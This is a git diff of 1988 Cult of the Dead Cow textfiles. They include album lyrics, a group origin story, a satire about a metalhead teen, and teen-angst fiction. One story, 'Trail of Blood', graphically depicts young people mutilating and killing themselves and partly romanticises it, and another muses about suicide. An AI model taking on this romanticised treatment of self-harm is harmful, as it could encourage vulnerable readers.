up, ok? + + + As I sit here in study hall, I begin to realize that this has to be one of +the most boring places in school. Looking around me, I notice that desolation +and boredom fills the faces of the many youths required to sit at these +enormous tables normally used for lunching. Examining closer I notice the many +types of folk held captive here. Today, many girls outfitted in field hockey +uniforms are residing here, along with others you could possibly call girls. +As I look even further I take notice of the "Proud To Be Italian" type gentle- +men (if you can call them that) who concentrate mostly on Italian supremacy. +There is an innumerable amount of black T-shirted types sporting Metallica's +many logos, and well, there are others; but to me, they are unnoticeable. + + The teachers walk up and down the aisles, pacing as if they were expectant +fathers, making it known that "THIS IS A SILENT STUDY HALL." At odd moments, a +slight noise or two might break the silence. Perhaps the tearing of paper out +of a spiral notebook, the sickly cough of an ill prisoner not permitted to go +to the school nurse, or even the common scuffing of feet as they walk through +the extremely large cafeteria. It's not often that I analyze activities such +as this but today I'm getting my money's worth. + + To many, this place is considered a jail of sorts. At times, it can seem +to hold its common title, but at the moment it just seems to be a place to +think about the world and the people keeping it in a constant rotation. +Actually, at this point in time, I'd like to place many of these study hall +hostages in a jail for a day or so. Just let them sit, without friends, with- +out life, without anything but a small, empty cubicle; then maybe they'd +realize that this place isn't as bad as their ignorant minds make it. + + Next time you're sitting in a study hall, or any other class for that +matter, being "held captive" just take a minute and realize how lucky you are. +Some people would give all possessions to frequent your "jail" in place of +their own. + +----Racer X, 9/27/88, EST: 09:16:06 AM. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Racer X 10/6/88-77 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0078.txt b/textfiles.com/groups/CDC/cDc-0078.txt new file mode 100644 index 00000000..85811f3b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0078.txt @@ -0,0 +1,485 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + DANZIG + + Compliments of Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Here it is... the solo Danzig LP entitled DANZIG. It was produced by +Rick Rubin of Def Jam fame. The band lineup is as follows: + +Glenn Danzig - Vocals +Eerie Von - Bass +John Christ - Lead Guitar +Chuck Biscuits - Drums +_______________________________________________________________________________ + + +--TWIST OF CAIN + +Ooh +I can feel it move me +Feel it shove me +As I break the law +Yea +I can feel its jabbing +Cuts the numbness then I +I come alive yea + +Twist of Cain +Yea drives my brain +Yea twist of Cain +Make me come alive + (Again) + +Yea +I took it standing +Broke commandments +And he tumbled like a toy +Blood +Like a crimson highway +Spreading out +From his forehead to the ground + +Twist of Cain +Yea drives my brain +Yea twist of Cain +Make me come alive + (Again) + +Wo-oh +God above +Feel a twist of Cain +Inside a beating heart +Wo-oh +Wanna know +Got a little twist of Cain +From the God below + +Yea +I know my breeding +Know my father + +He was born of light +Said yea +Can't hardly stand it +Splits me down the middle +Then I +Come alive yea +Twist of Cain +Yea drives my brain +Yea twist of Cain +Make me come alive + (Again) + +Wo-oh +God above +Feel a twist of Cain +Inside a beating heart +Wo-oh +Wanna know +Got a little twist of Cain +From the God below + (Again) + + +--NOT OF THIS WORLD + +Not of this world +And nothing bites like I do +Nothing screams out loud +In this empty night +Nothing can keep me from you + +And you think that you know +The reason I'm alive +Truth is you only +Know the lies + +Not of this world +And nothing can hold it back +I am the dawn upon your bloody beach +Come to pass + +Not of this world +For I am nothing known +When the seasons shift +They call my name +To carry me home + +And you think that you know +The reason I'm alive +Truth is you only know the lies +And I feel all the things +You could never understand +Choose where you stand +Am I mortal + +Are you +Man + + +--SHE RIDES + +She rides +Let loose the world +She is the night +And my loneliness in bondage +She's black +And sin runs down her back +She rides +From the daylight in chains + +She rides the night +She rides the night + +She slides +Down inside your skin +In time +She will make you scream +She's death + +She rides +In the night of your mind + +She rides the night +She rides the night + +She'll take you down +She'll take you +She'll take you around + (Again) + +She rides +Let loose upon the world +She is the night +And my loneliness in bondage +She's black +And sin runs down her back +She rides +From the daylight in chains + +She rides the night +She rides the night + (Chorus) + + +--SOUL ON FIRE + +Angels fall to earth +World heats down +Cool + +Now your heart is cold +Waiting on the summer +Of my soul + +Devil-girl you must burn +Burn at the touch +Of autumn's breath +Burn that heart of cold +Simmering in the samhain +Of my soul + +Gotta wait +On the samhain of my soul +Gonna bring your world +Down in fire + +Angels fall to earth +World heats down +Oh now your heart is cold +Waiting on the summer +Of my soul + +Gotta wait +On the samhain of my soul +Gonna bring your world +Down in fire + +Come wrap my love in your house of ice +Melt you down more than once or twice +Make you shake till worlds align +See your body tremble w/blood on fire +Cause the season in my veins +Will end your world +To the season of the flame you must pray and learn +Change all the things that you've ever seen +Change all vision +Kill all endings + + +--AM I DEMON + +Hordes of faces +Empty eyes +I see nothing new +Seasoned schemes of slimy curs +Offer up their flu +Am I beast or +Am I human +Am I just like you +Power seething +Really reeling +Reaching out for you + +Am I demon + +You need to know + +Faces of a million hells +Rage inside these veins +Pounding out deserved pain +To anyone in need +Am I beast or +Am I human +Am I just like you +Power seething +Really reeling +Reaching out for more +Am I demon +Need to know + +Every world +And every limb +Torn asunder base +Everything I need is me +Everything I am +Am I beast or +Am I human +Am I just like you +Power seething +Really reeling +Reaching out for you + + +--MOTHER + +Mother +Tell your children not to walk my way +Tell your children not to hear my words +What they mean +What they say +Mother + +Mother +Can you keep them in the dark for life +Can you hide them from the waiting world +Oh mother + +Father +Gonna take your daughter out tonight +Gonna show her my world +Oh father + +Not about to see your light +But if you wanna find hell w/me +I can show you what it's like +Till your bleeding + +Mother +Tell your children not to hold my hand + +Tell your children not to understand +Oh mother + +Father +Do you wanna bang heads w/me +Do you wanna feel everything +Oh father + +Not about to see your light +But if you wanna find hell w/me +I can show you what it's like +Till your bleeding + (Again) + + +--POSSESSION + +I want to crawl inside your soul +Nestle in your brain +Stand you on your head +Crouch you on all fours + +I will walk among your dreams +When you think you are asleep +The invitation of your mind +Beckons me to your sin + +All the things that you say and feel + +For I will be inside your speech +Say the words you must not say +For I will lurk inside your heart +If you can take it and survive + +As it must ever be +Oppression +It's ever been +Through my oppressive black sleeping +It has always been +Possession +As it must always be + +All the things that you say and feel + +Become +Possession - riding +Possession - riding you hard +Possession - riding you on yea + +And I will worm inside your skull +Make you beg to be my whore +Do my bidding day and night +If you can take it and survive + +As it must ever be +Oppression +It's ever been +Through my oppressive black sleeping +It has always been +Possession +As it must always be + (Chorus) + + +--END OF TIME + +The suffering's here +The wait is gone +The streets are filled +W/a hollow song +Got a new death +It lurks outside +Follows me home +Waiting for me + +Lost your soul +Doomed and cold +Yea +Lost your soul +Doomed and cold +Yea + +A hum in the ear +Numbness comes +Feeling like you're almost home +The open arms +The tempting embrace +It's always been +Waiting + +The suffering's here +The wait is gone +The streets are filled +W/the hollow souls +Empty world +Of listless night +I pray to thee +I suffer blind + +Waiting at the end of time for you +And you'll be too +Yea + +Lost your soul +Doomed and cold +Yea + + +--THE HUNTER + +Call me the hunter +That's my name +Pretty young thing like you +Is my only game +Don't use no love gun +Don't need no kissing +When I get ahold of you honey +Gonna light you up like Christmas +Ain't no use to run +Ain't no use to hide +Cause I've got you in the sights +Of my +Burning + +Call +Me deliverance +That's what I offer thee +Gonna do a million little things to you honey +Your life belongs to me +Don't use no love gun +Don't need no kissing +When I get ahold of you honey +Rip you up in pieces +Ain't no use to run +Ain't no use to hide +Cause I've got you in the grip +Of my +Endless desire + + +--EVIL THING + +I serve my perdition +In this private hell +A thousand angers +Have kept me alive +Carve a hole in your distorted soul +I'm here to bang it + +Yea +The blessing is a curse +Seduction and thirst +Feeds the hunger +That burns inside +Take a little caution +When you look my way +See the emptiness in my eyes +And the evil thing +That I bring +Soulless light + +Warning is come upon your heels + +Feel your dreams +Go away +Take a little caution +In the dead of night +Let the darkness rise again + +Want the needing +Want to feel you near + +Want you +Need you +Life +Want your, need your +Life +Feed it to me + + +ALL SONGS Written by Glenn Danzig + + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + 1988 cDc communications by Racer X 10/6/88-78 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0079.txt b/textfiles.com/groups/CDC/cDc-0079.txt new file mode 100644 index 00000000..4fd953c0 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0079.txt @@ -0,0 +1,102 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + The True Story of Cult of the Dead Cow + + as told by Psychedelic Warlord + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +The True Story +'/'/'/'/'/'/'/ + + Well, it was about 11:30pm on cold night in April of '85. I had just +finished talking to Franken Gibe. I still kinda remember how it all went +about.... + +FG "Hey Psyche! I just had the greatest idea for a new organization!" + +PW "Really? What are you planning on calling it?" + +FG "Oh... I was thinking of something along the lines of 'CCC'" + +PW "Which stands for..." + +FG "Comatose Cow Club... and I'm gonna write this book. But it'll be more like + a bible for this CCC group. I think I'm gonna call it "Cow's Book". + Pretty catchy, eh?" + +PW "Yeah... hey, why don't you call it Cult of the Dead Cow? I dunno... I just + think cDc is more catchy. And then when you guys get famous, you can print + dead cow t-shirts and place an ad in Maximum RocknRoll!!" + +FG "Ahhhh Psyche... you are such a dreamer! And anyhow, "Cult of the Dead Cow" + Ha! Who would want to join a group like that? Oh well... talk to ya + later." + +PW "Bye... but consider it, ok?" + + + Well, about a week later, Gibe called me up again and read me +"Cow's Book" (which he now thought would sound better as "Book of Cow"). + + +FG "Well, whaddya think of Cow's Book... er... Book of Cow I mean... ?" + +PW "Well... you could liven it up... you know, maybe use Olde English. Use + words like "thou", "hath", "thy", etc.... And maybe have a Roach at the + beginning instead of a pig." + +FG "Yeah... I'll think about it. Oh yeah! I talked it over with Swamp Guy, + and he said CDC is a cool name. I guess we'll change it to that. And in + the Book of Cow, I'll revise it so the cow actually dies instead of just + going in to a coma." + +PW "Great! Also, don't you think Swamp Guy should change his name? You know, + something more catchy... like Swamp Rat or something." + +FG "I'll talk to him about it. Anyhow, thanks for the idea. Wow. Me, Swamp + Guy, and you... all founders of CC... er... I mean CDC.... Kinda neat." + +PW "Nah... look, I'll keep undercover for about 3 years, and then I'll join.... + I don't wanna get all the credit. Besides, you guys did most... well, a + lot of the work.... See ya 'round...." + +FG "G'bye buddy.... See ya in a few years...." + + + So that's the story of cDc. Sure, now I'm back in it, and write an +occasional (VERY occasional) t-file that is put out by cDc, and my board is cDc +sponsored.... But it's sometimes so hard to swallow my pride and watch as +Swamp Rat ( <-- like the name!) and Franken Gibe control and reap the rewards +of an organization I practically started on my own. + + + ....sigh + +CultoftheDeadCowCultoftheDeadCowCultoftheDeadCowCultoftheDeadCowCultoftheDeadCo + + +I'd like to thank Franken Gibe and Swamp Guy (ha) for letting me write this, +and being great sports about it.... + + -Psychedelic Warlord + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Psychedelic Warlord 10/10/88-79 + All Rights Worth... eh... you know the line.... + diff --git a/textfiles.com/groups/CDC/cDc-0080.txt b/textfiles.com/groups/CDC/cDc-0080.txt new file mode 100644 index 00000000..de025c8e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0080.txt @@ -0,0 +1,57 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + ...a Slayer kind of day... + + by G.A. Ellsworth + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "It's a Slayer kind of day," he thinks.... + + Feeling dejected, he thinks about his friends all getting together and +doing the things they know he loves to do, without him. Left out. Shit, this +is worse than high school, or at least just as bad. Thinking back to when he +felt he had no friends, no one to talk to, no one to bitch at for making him +feel this way but himself. + + "Shit, I don't know what is going on, but it feels like a conspiracy. +Everyone against me. What would happen to them if I killed myself, (not that I +COULD do it...) I just wonder who would cry the most. Who would cry and who +would feel bad. 'I should have done something... I saw it coming,' they'd lie. +Or maybe they'd figure it out... I wouldn't leave a note, just do it... let the +guilt fall upon whomever excepts it... could I do that to people I love and +want to love me back? Why should I end it for myself if I'm mad at them?" + + Sulking in his room with the stereo ripping through his brain he sits. +Slayer is screaming about death and gore and scary things.... + + "Geez, I wish I could express what's inside of me when I see them.... +I could just tell them all to fuck off... then they'd be really friendly, huh? +I could tell them I feel left out and play the role of the loser. I don't have +any friends," he wines to himself, "I've just got me and that's not all that +great... I've got my records and I've got my computer. I could lock myself in +my room for another six months and not do anything. But boy, I'd sure love +myself for that abuse... sleep twelve hours a day and order pizza instead of +going to the grocery store for some real food... boy, when I start thinking +like this, it's definitely a Slayer kind of day... they can scream for me and +I'll just sit here and thrash in my room...." + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by G.A. Ellsworth 10/24/88-80 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0081.txt b/textfiles.com/groups/CDC/cDc-0081.txt new file mode 100644 index 00000000..d35215d4 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0081.txt @@ -0,0 +1,139 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Trail of Blood + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "Thomas! Thomas! Come downstairs! Your father and I have something +to discuss with you!" + + Thomas sat on his bed cross-legged, staring at the glistening surface +of the scissors. See how they shine and gleam in the light? See how they +sparkle? Thomas inserted one scissor into each of his nostrils. Hehe! They +tickle! And the blade is so cold! Well, nevermind about that. Thomas pushed +the scissors up into his nose. He felt something pop and felt the warm blood +start to drip, then gush, from his nose. He pushed up some more, but the +septum dividing his nostrils got in the way. Impatiently, he closed the +scissors, cutting it apart, then pushed up some more. The scissors started to +slip because of the blood covering them, but he still pushed them up. He felt +them stop against something hard. Hmm... must be a bone. He slammed the +scissors against it a few times, then pulled it out of his nose and smashed +them up with all his might. He felt the bone crack and give way right before +he felt a sharp pain in his head, then a peculiar tingling feeling spreading +throughout his body. He let go of the scissors and they dropped from his nose, +which was now nearly obliterated from his face. There was a spreading red mark +where his nose used to be. He felt no pain now, he felt very light, like a +feather. He felt himself floating... he wasn't aware of the blood pouring from +his face, or of the small trickle of blood starting to come from his ears +either. He just felt the immense ecstasy of floating on nothing, of peace and +warmth and light, all mixed into one. He rolled around on the air he was +floating on and a sharp knock on his head brought him back to reality. He +wasn't floating, he was on his bed, and he had just fallen off. He staggered +to his feet, wondering what had happened. His head hurt, but his nose was +killing him, so he walked to the mirror, and looked into it. He stared at +himself, and screamed. + + *** + + Vanessa stared down the barrel of the gun. She didn't think it looked +particularly dangerous, just kind of ominous. She didn't even know what kind +of gun it was, she had just stolen it out of her father's desk when he was out. +She opened the chamber and noted with satisfaction that all six bullets were +there. Six were plenty, six were more than enough. She carefully closed the +chamber of the gun and put it to her left ankle and pulled the trigger. The +bullet came out of the gun with infinite slowness, it seemed to Vanessa. She +could just pull away, and it would all be ok. But she couldn't pull away. She +looked away from her ankle for a second, then looked back at it, and saw the +hole in the carpet. At first she thought she had somehow missed, but then she +looked at her ankle, with the neat little hole popped right through it. Right +through it. The blood started to drip down to her sneakers. + + She pointed the gun at her right ankle and repeated the previous +procedure. And she still felt no pain. No pain at all. She stood up, took a +step, and collapsed. Her torn-up ankles couldn't support her. No problem. +She sat up, and stuck the barrel of the gun into her left elbow. She stared at +it for a moment before pulling the trigger. It was loud. For some reason, she +hadn't noticed the loudness with the ankles, but now she did. And this time, +there was pain. Oh, so much pain, hurts, hurts, hurts, so much pain, waves +of pain. Her whole elbow was ripped apart and blood was spattered everywhere. +She stuck the barrel into her right elbow, and pulled the trigger without +hesitation. This time there was no pain, and no noise either. Unfortunately, +there was no color either, as everything had turned sort of a light-grayish +white shade. Never mind. + + Vanessa looked down at herself and thought. Then she knew. She +inserted the barrel of the pistol into her navel and pulled the trigger. Her +whole body jerked backwards and she was thrown back a few feet. She looked +down and saw just a large hole in the middle of her stomach. Vanessa felt +blood starting to drip down her legs and felt along her back. There was a hole +there, too. She turned around and saw that the bullet had gone right through +her into the dresser. + + She heard feet running up the stairs. "Vanessa! Vanessa! What was +that noise! Vanessa! Are you all right?!" Her mother had come home. This +would speed things up a bit. Her mother walked in the door and staggered back +a step. She fell to the floor and stared at Vanessa, nearly hyperventilating. +"Oh my god, Vanessa! Vanessa, my baby, what happened to you?" Vanessa smiled +sweetly at her mother, inserted the barrel of the gun into her left ear, and +pulled the trigger. She heard her mother screaming in the background, but +right before she heard the screams, she thought, "What about my right ear?" +And then there was the noise again, only much, much, much louder than before. +Too loud. It felt like her head was exploding. She was vaguely aware of a +throbbing pain in her head, but wasn't concerned about that right now. She was +aware of a bright light, however, a very bright light. And she looked towards +it, then tried to look away, for it was blinding her. She couldn't move her +head. Then she closed her eyes, and felt the light burning against her +eyelids, and then her eyelids were on fire, and burned away. She screamed for +the first time since the whole thing had started. Then her whole body was on +fire, and she heard her mother's screams grow dimmer and dimmer until they +ceased. + + *** + + Bradley ran down the hallway as fast as he could and leaped with all +his might through the thick stained glass window. He heard it shatter, and +had a feeling like thorns scratching him all over his body. Opening his eyes, +he saw the ground coming closer at an incredible rate. He tried to maneuver +himself to land on his feet, but ended up landing headfirst. He covered his +head with his arms, and literally heard each bone shatter into several pieces. +His arms were bloody with pieces of bone sticking through the skin in many +places. + + Then Bradley stood up. He walked to the intersection and jumped in +front of an oncoming vehicle. The screech of brakes was deafening as the +driver tried desperately to stop his car, but hit Bradley head-on anyways, +throwing him into the air. The car spun out of control, smashing into a nearby +store and exploding, killing the driver and two others. + + Bradley started to stand up but noticed that he was missing a leg. He +tried to crawl but his arms felt like rubber, and looked like rubber too, bent +and twisted like a pretzel. Bradley looked up just in time to see the truck +surging forward. One of the big wheels ran right over his head. The skull +crunched like a potato chip under the huge wheel. He felt his blood, under +immense pressure, force holes through his arteries and skin, to squirt in all +directions. Then this tremendous pressure, it seemed, lifted from him, and +then there was nothing. + + ...and then there was nothing. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Sunspot 5/20 - 10/24/88-81 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0082.txt b/textfiles.com/groups/CDC/cDc-0082.txt new file mode 100644 index 00000000..e38ac949 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0082.txt @@ -0,0 +1,125 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Geek: The Saga Continues + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Special thanks to all the geeks at school who give "Punk Rock drug dealers" +like myself something to write about. + + + The alarm went off. Joey woke up. + "Damn! My Aquaman Underoos are wet. I musta been dreaming about Lita +Ford." + Joey stumbled into the bathroom, pulled his now damp Aquaman Underoos to +his knees, kneeled down on the cold bathroom floor, and starting doing the +Five Knuckle Shuffle. + "Oh, Lita... Kiss ME Deadly!" + + Joey is now on the bus. He is wearing a jean jacket with a Guns N' Roses +patch sewn on the back, a W.A.S.P. shirt, a pair of ripped jeans (actually a +pair of jeans with perfect circles cut out by a pair of scissors. A failed +attempt to make them look "authentic."), and a pair of Reeboks. ("Mom, if you +buy me the new Bon Jovi album I'll wear the Reeboks Aunt Susan got me!) And of +course, 2 dollars Mommy gave him for lunch. (Despite the fact that Joey is 17 +years old, and a Senior in high school, he's a wimpy spoiled rich shit who +could never handle any sort of job. Oops. Sorry. This is supposed to be an +impartial file... sure...) + + Joey starts to tell all the Freshman metalhead geeks a variety of lies. + "Yah, I got backstage passes for oZzY." + "I have the new Ratt album. I know someone who works for the record +company. I'd give it you, but he'd bust me, and I'd be thrown in prison, since +I got busted last year at the Cinderella concert for beating up a few guys." + "I know Nikki Sixx. He comes over for White Castles every few weeks. My +dad saved his life in Vietnam." + And of course, the Freshman metalhead geeks believe Joey, because +they're...Freshman metalhead geeks! + + Finally, despite the fact that the bus driver was stoned to the gills on +pharmaceutical cocaine, the bus arrived at school. Joey met his friend, Chris, +(or "Metal Maniac" as Joey calls him because Chris once threw a M-80 at Bruce +Dickinson of Iron Maiden), in their first period class, European History. The +teacher, Mr. Drunkfux asks: + "What Carthagian general led a hoard of elephants over the Alps in 218 +B.C?" + "Eddie Van Halen!" shouted Joey. + The whole class moaned and agreed silently, "What a FUCKING GEEK!" + And so this is basically how the day goes for Joey... making stupid +comments, annoying the class, insulting girls, and failing classes. ("All +Metalhedz get F's!" That's a real smart philosophy,Joey, think about it when +you're working Grill #2 at Wendy's....) + Until lunch. + + While he's walking to a table with his lunch, Adam, a regular at the +hardcore shows ("Nerds with green hair" according to Joey), accidentally knocks +into Joey, which causes a few dark brown french fries to fall to the floor. +("Whadda ya mean burnt? They're crispy!" say the lunch ladies...) + "Um... sorry, it was an accident." + "You fucking punk rock cokehead dick face! Do you want me to kick your +fucking ass?" + "Actually... yes. I want you to kick my ass." + "Don't fuck around with me, asshole. I've got a fucking 3 foot long fuck- +ing Rambo knife. I'll fucking knife you! I will." + "Joey?" + "What, dipshit?" + "Look down." + "Why?" + "Just look down." + Unfortunately, Joey is stupid enough to look down and wakes up a few +minutes later with a swollen lip. The lunch ladies pack him off to the nurse, +where Joey starts to rant and rave about killing Adam's family with a "big +fucking M-60 Rambo gun". ("I did it last year at camp. No shit!") + After taking Joey's temperature 4 times, the nurse sends him home. School +ends soon after, and Chris (the "Metal Maniac") shows up at Joey's house. + "Dude, I heard someone beat you up." + "He attacked me from behind with a steel pipe. I say we get Mark and the +Wildman (Another of Joey's friends. They call him the Wildman because he stole +the Homecoming Queen's assignment pad last year. But Joey doesn't know that +the entire offensive line of the football team then proceeded to annihilate the +"Wildman" so bad that he still has some faint bruises on his face. And in his +groin area, where she got her revenge.) and kick his ass after school." + "Sure dude, we'll do that." + (The following conversation about Slayer should be credited to Swamp Rat, +my Bovine brother.) + "Are you going to see Britny Fox next week?" + "Are you kidding, dude? They're touring with Slayer! I heard they eat +dead babies!" + "They do! I also heard they pick some one out of the audience and the +lead singer takes out a knife and carves "666" into the guy's arm!" + "No shit, dude! They're Satanic Devil worshipers. My mom would never let +me go." + "Hey, wanna get stoned?" + "Yah, dude! Lets get high. Get the magic markers!" + Joey puts a Kingdom Come tape in the stereo, and gets his Dayglo Magick +Mahkers (tm). + "Here Chris, take a Red!" + "Snnnnnnnnort!" + Joey and Chris spend the rest of the day snorting magic markers, and +listening to Lenny "no, we don't have any Led Zeppelin records" Wolf and the +rest of the dudes from Kingdom Come. + + Of course, everyone knows that while magic markers smell nice 'n' tasty, +you'd have a better change of getting stoned on compact disc cleaning fluid. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 10/25/88-82 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0083.txt b/textfiles.com/groups/CDC/cDc-0083.txt new file mode 100644 index 00000000..d6fd258e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0083.txt @@ -0,0 +1,641 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Lyrics to Both Youth Of Today Albums + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +YOT in general: Though their straight-edge views are very militant, the music +is why YOT is one of the best bands on the New York City hardcore scene. +_______________________________________________________________________________ +Break Down the Walls-Revelation Records +--------------------------------------- +John "Porcell"- 1st guitar +Craig- bass +Drew- drums +Ray of Today- vocals +Ritchie- 2nd guitar + +All songs (C) 1986 Youth Crew Jams + + +Make A Change +------------- +I see on the streets +As we walk right by +What little value we place on human lives! + +But it's time we get priorities +It's time to rearrange +Won't turn away any longer +It's time we make a change + +People so cold +They ignore others' pain +People too proud to realize they're the same + + +Thinking Straight +----------------- +Life's filled with many paths +Which one should I take? +When the choice comes, I won't run +I'll be thinking straight! + +Life's filled with conflicts...we'll face +We'll overcome them...thinking straight! + +Experiment with your mind +You see things I can't see +Well no thanks, friend +Because now it ends when you push that shit on me! + +My mind is free to think and see. + +Strong enough to resist temptation +We've been strong for all these years +Yes, life gets rough, so we'll stand tough +And confront all our fears! + + +Stabbed In The Back +------------------- +We were brothers, you and me +Loyal to our hardcore scene +Our thoughts, our aims, our goals were true +Then something happened to you +You changed + +I remember all the things that you said + Shit you said! +I guess it was just a bunch of fucking lies + Fucking lies! +Stabbed us all right in the back + Right in the back! +Don't you dare look me in the eye! + +All we stood for, all our dreams +You've forgotten what they mean +I tell you this +My thoughts are real, and I'll never change +The way I feel! + + +Take A Stand +------------ +I see you here +Do you have pride? +Afraid to share what's inside +You've been walked right by +A real nice guy +Overlooked and shoved aside +Can't hear your voice back in the crowd +Move up front and shout out loud! +Take a stand! + +Take a stand, say what you feel +Be who you want, but be for real! +Voice your opinion, don't just sit still +Speak your mind at your free will + +Take a stand! +Stand your ground +Don't let the world push you around +Take a stand! +Stand your ground +Don't let the world push you around + + +Honesty +------- +You steal and take from everyone else +Do you feel good about yourself? +Instead of taking, try to give +And then you'll feel good about the way you live + +Honesty + +Too many of us filled with greed +Overlooking those who need +Open your eyes and change your ways +Open your heart and break away + + +One Family +---------- +I have so much hope and anticipation +For the future generations +I think kids today are growing up smart +With open minds and open hearts + +We can do it! +We'll put our heads to it +And then we'll be +One family! + +A world filled with racial stress +But it seems every year less and less +Those old fashioned statements are going away +Tomorrow will be a brighter day! + +We can do it! +We'll put our hearts to it +And then we'll be +One family! + + +Break Down The Walls +-------------------- +I used to think that labels were just symbols of pride +But over time I've seen they only serve to divide +It's so easy to judge people by the way they seem to be +We must overcome this problem to live peacefully + +Break +Down +The Walls! +Yes, we'll break down the walls! + +Look beyond the fashion of the crowd they are in +Look beyond their riches or the color of their skin +Look beyond appearance and the truth you will find +Look for what's inside before you make up your mind! + +Break +Down +The Walls! +We'll all break down the walls! + + +Shout It! +--------- +Not on this stage to take up space +I'm here to communicate face to face + +I'll hold my head up high and...shout it! +Look you in the eye and...shout it! +Hold my head up high...shout it! +Look you in the eye and shout it! + +Criticized for speaking out +I guess you don't know what we're about + +So i'll hold my head up high...and shout it! +Look you in the eye and...shout it! +Hold my head up high...shout it! +Look you in the eye and shout it! + +We're just some friends who want to be heard +Through our music, we'll spread our word +Trying our best to figure what life is about +Seeing the good makes me want to shout! + +Shout it! + +There's nothing wrong saying my part +The message I cry is from the heart +Won't change my ideas just to please you +You've built the walls, we're breaking through! + + +Time To Forgive +--------------- +In the back of my mind +It keeps me on edge! +A soul filled with love +But I can't help but feel contempt instead + +So let's forget the past and +The grudges that we hold +If we don't do it soon you +Know it will explode + +Let's shape a better way of life +Time to forgive! +I'm sorry for the bottled up anger +What was it about? +It's time to forgive +I'm glad that's all over now + + +Positive Outlook +---------------- +Through the clouds I see the light +My conscience tells me what's wrong and right +Morals and goals deep inside +A bunch of feelings I can't hide, but that's me +It's the way I live +My outlook on life is positive! +So why should I hide or try to conceal +All of these feelings that I feel +I like to sit and talk about them +I want to stand and shout them! + + +Standing Hard +------------- +Proud of who I am, what I say, and what I do +Proud of who I am, what I say, and what I do! +I'm standing hard! + + +Free At Last +------------ +The world is filled with competition and greed +A disgusting way of life +But we'll try to break... + +Free! +Free at last! + +From the animals in the slaughterhouse +To the drugs on the streets +They'll pollute our minds, our bodies +But I know we'll break... + +We've got to break free! +We'll try...No!...we'll do it! + +The monotonous of the working class +We'll never fall into that rut +We'll keep fighting until we are free at last! + + +Youth Of Today +-------------- +The kids will make it happen +We're starting a new way +People helping people +In the world today + +Physically strong +Morally straight +Positive youth +We're the youth of today + +Never fight with each other +Use our hands before our fists +Then we'll kick down all the barriers +Of hate and prejudice + +Live fast die young +was just a fad +For a bunch of losers +Who didn't care + +I'm gonna live my life +Breathe every breath +Look towards the future +And move straight ahead + +_______________________________________________________________________________ + 